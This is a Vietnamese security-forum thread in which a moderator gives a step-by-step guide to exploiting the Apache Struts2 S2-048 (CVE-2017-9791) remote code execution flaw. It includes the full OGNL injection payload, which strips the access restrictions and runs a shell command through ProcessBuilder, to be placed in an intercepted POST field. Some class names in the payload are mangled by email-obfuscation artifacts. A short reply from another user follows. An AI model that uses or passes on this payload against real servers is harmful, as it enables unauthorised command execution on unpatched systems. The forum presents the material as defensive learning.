CVE-2017-9791: Apache Struts2 (S2-048) remote code execution vulnerability

Thảo luận trong 'Web Security' bắt đầu bởi DDos, 10/07/17, 02:07 PM.

  1. DDos

    DDos Super Moderator Thành viên BQT

    Tham gia: 22/10/13, 08:10 PM
    Bài viết: 1,422
    Đã được thích: 233
    Điểm thành tích:
    63
    Trong bài viết này mình sẽ hướng dẫn các bạn khai thác lỗ hổng remote code trong Apache Struts2.
    Thông tin về lỗ hổng CVE-2017-9791, các bạn có thể tham khảo tại đây.

    1. Tìm kiếm struts1 intergeration trên hệ thống apache server.
      [​IMG]
    2. Truy cập vào đường dẫn, như hình dưới
      [​IMG]
    3. Sử dụng BurpSuite để chặn và thay đổi POST request
      [​IMG] [​IMG]
    4. Thay đổi giá trị name bằng payload

      %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}
      [​IMG]








    Demo
     

    Các file đính kèm:

    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    Sugi_b3o and NgMSon like this.
  2. PhamTheThao

    PhamTheThao W-------

    Tham gia: 19/09/14, 01:09 PM
    Bài viết: 18
    Đã được thích: 6
    Điểm thành tích:
    3
    Cái chỗ ô vuông đỏ có phải là ký tự " : ( " phải không bác @DDos
     

    Các file đính kèm:

    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    DDos thích bài này.
  3. DDos

    DDos Super Moderator Thành viên BQT

    Tham gia: 22/10/13, 08:10 PM
    Bài viết: 1,422
    Đã được thích: 233
    Điểm thành tích:
    63
    Chuẩn đó bạn...
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan